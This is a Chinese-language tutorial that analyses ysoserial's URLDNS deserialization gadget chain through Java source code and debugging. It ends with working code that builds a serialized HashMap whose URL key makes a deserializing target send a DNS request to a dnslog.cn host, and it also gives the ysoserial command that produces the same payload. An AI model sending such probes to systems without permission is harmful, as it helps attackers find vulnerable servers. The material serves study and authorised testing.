java反序列化工具,利用它通过指定利用链,获取恶意代码序列化之后的内容,将内容发送给目标,目标对内容发序列化进而触发恶意代码。
是ysoserial
中对一个利用链,但是他不能把任何的命令作为参数,而是一个url,而且也不能执行任何命令,只能去请求一个url。
java -jar ysoserial.jar URLDNS "uht6g4.dnslog.cn"
具体的利用代码就是这样:
public class danDemo{ public static void main(String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://ym6ffz.dnslog.cn"); url.hashCode(); } }
主要是处理URL。
java
的Object
的类方法,在许多类中都会继续使用该方法。主要是解决我们在比较数据的时候,挨个对象使用equals
方法比较导致花费时间太长的问题。
比如说一个列表中有十万个数据,要插入一个数据,如果已存在则不插入,不存在则插入,所以就需要去比较一下每个数据是否与插入数据相等,相等则代表已存在。十万条数据逐个去调用equals()是不是相等,花费的时间就很长。
ideal
分析
以下代码下断点:
url.hashCode();
首先进去URL.java
类的hashCode
方法
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } //返回hashCode为-1
继续进入以下函数
hashCode = handler.hashCode(this);
进入URLStreamHandler.java
类的hashCode
函数
该函数传入一个url,然后使用一下函数获取url的内容。传入urlhttp://ym6ffz.dnslog.cn
。
String protocol = u.getProtocol();
InetAddress addr = getHostAddress(u);
String file = u.getFile();
String ref = u.getRef();
四个变量对应的变量值为:
获取到url的每一部分的值之后会对每个值进行hashcode方法,然后将结果添加到h,最后该函数返回h值。
h += ref.hashCode();
在该类的hascode方法中会调用getHostAddress
,会返回一个url的ip地址,所以我们使用该方法会去发起dns请求,请求一个url,获取ip。
public class danDemo{ public static void main(String[] args) { try { InetAddress ia1=InetAddress.getByName("www.qq.com"); System.out.println(ia1.getHostName()); System.out.println(ia1.getHostAddress()); } catch(UnknownHostException e) { e.printStackTrace(); } } }
到这里,我们已经理解java是如何通过类和方法来发起请求获取ip地址的。我们说过主要是利用urldns获取反序列化数据,如果目标反序列化内容,会向目标url发起请求,这样就可以判定目标存在反序列化漏洞。发起请求有了,反序列化在哪里呢?这就要看hashmap类。
作用是用来存储内容,内容以键值对的形式存放。
import java.util.HashMap; public class RunoobTest { public static void main(String[] args) { // 创建 HashMap 对象 Sites HashMap<Integer, String> Sites = new HashMap<Integer, String>(); // 添加键值对 Sites.put(1, "Google"); Sites.put(2, "Runoob"); Sites.put(3, "Taobao"); Sites.put(4, "Zhihu"); System.out.println(Sites); } }
输出
{1=Google, 2=Runoob, 3=Taobao, 4=Zhihu}
直接在ideal
中查看该类,首先该类继承Serializable
接口,一个类继承该接口可以进行反序列化处理。
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
并且该类还具有一下两个方法:
private void writeObject(java.io.ObjectOutputStream s) throws IOException //对数据序列化 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException //对数据反序列化
对于Java对象序列化操作的类是ObjectOutputStream,反序列化的类是ObjectInputStream。ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象,比如writeBoolean,wrietInt,writeLong等,对于自定义类型,提供了writeObject方法。
private void writeSerialData(Object obj, ObjectStreamClass desc) throws IOException { ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout(); for (int i = 0; i < slots.length; i++) { ObjectStreamClass slotDesc = slots[i].desc; if (slotDesc.hasWriteObjectMethod()) {//如果重写了writeObject方法 PutFieldImpl oldPut = curPut; curPut = null; SerialCallbackContext oldContext = curContext; try { curContext = new SerialCallbackContext(obj, slotDesc); bout.setBlockDataMode(true); slotDesc.invokeWriteObject(obj, this); //调用实现类自己的writeobject方法 bout.setBlockDataMode(false); bout.writeByte(TC_ENDBLOCKDATA); } finally { //省略 } curPut = oldPut; } else { defaultWriteFields(obj, slotDesc); } } }
注意看
if (slotDesc.hasWriteObjectMethod())
slotDesc.invokeWriteObject(obj, this);
可以总结到
ObjectOutputStream中进行序列化操作的时候,会判断被序列化的对象是否自己重写了writeObject方法,如果重写了,就会调用被序列化对象自己的writeObject方法,如果没有重写,才会调用默认的序列化方法。
那么该类的方法是如何对传入的内容进行反序列化呢?可以具体的查看一下该方法:
for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
对传入的内容进行反序列化,获得到key、value,然后对key传入hash方法。接下来在看一下hash方法
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
如果key不为空,则进行hashCode方法,而我们在前面提到url类的hashCode方法是可以发起url请求对。现在需要做的就是我们需要将一个内容传送给hashcode方法,对该内容反序列护化获取key、value。然后对key调用hascode方法,如果key是url对象,url对象的hashcode方法可以发起url请求。
思路:创建hashmap类-创建url类-将键值对写入到生成的hashmap对象中-对该对象进行序列化反序列化。
Map hashMap = new HashMap(); URL url = new URL("unveog.dnslog.cn"); hashMap.put(url,"steady"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject();
我们在上面讲过ObjectOutputStream中进行序列化操作的时候,对于传入的对象,如果该对象对应的类重写了writeObject方法,会调用该对象的方法,所以会调用HashMap的writeObject方法。
运行之后是无法发起dns请求的,原因是在执行以上代码的时候会执行以下函数,其中hashCode
不为-1,不会继续执行
handler.hashCode(this);
。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
问题就来了我们在开头的代码如下,也调用了hashCode方法,为什么此时的hashCode
不满足hashCode != -1
条件呢?
public class danDemo{ public static void main(String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://unveog.dnslog.cn"); url.hashCode(); } }
原因就在与hashMap.put(url,"test");
。put方法的具体代码
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
也就是说在我们反序列化之前就已经调用过hashcode方法,此时的hashcode缓存下来,即 hashcode 不为 -1。然后在反序列化的时候又一次调用hashcode方法,所以此时满足条件,进而不会继续执行代码发起dns请求。
在这里我们再次分别对两次代码下断点,这次主要是看看每次的hashcode值是多少。
第一次:
执行url.hashCode();
之后hashcode值是-1,直接不满足条件进入接下来的代码发起dns请求。
第二次:
hashMap.put(url,"test");
下断点,会第一次调用hashcode
方法,此时hashcode值为-1。
继续调试注意看就是在此时发hashcode的值缓存,为2133919961
接着本来想在ois.readObject();
下断点一次次的跟进调试,但是死活找不到调用hashcode
方法的地方。但是我们肯定,二次的hashCode
方法是在反序例化的时候调用的,所以在hashmap类中的反序列化方法中下断点
putVal(hash(key), key, value, false, false);
调试跟进,可以看到此时的hashcode的值,这样在反序列化的时候是发起不了dns请求的。
归根结底就是hashcode的值问题,修改一下就ok,所以我们用到反射的知识,在代码运行的时候动态的修改类的属性值,其中getDeclaredField
方法获取一个类的所有成员变量,不包括基类。
Field field = u.getClass().getDeclaredField("hashCode");//获取变量之后进行修改。 field.setAccessible(true); field.set(u,-1);//修改变量。
最终代码
public class danDemo{ public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://unveog.dnslog.cn"); Class clazz = Class.forName("java.net.URL"); Field f = clazz.getDeclaredField("hashCode"); f.setAccessible(true); hashMap.put(url,"steady"); f.set(url,-1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject(); } }
最后成功发起请求。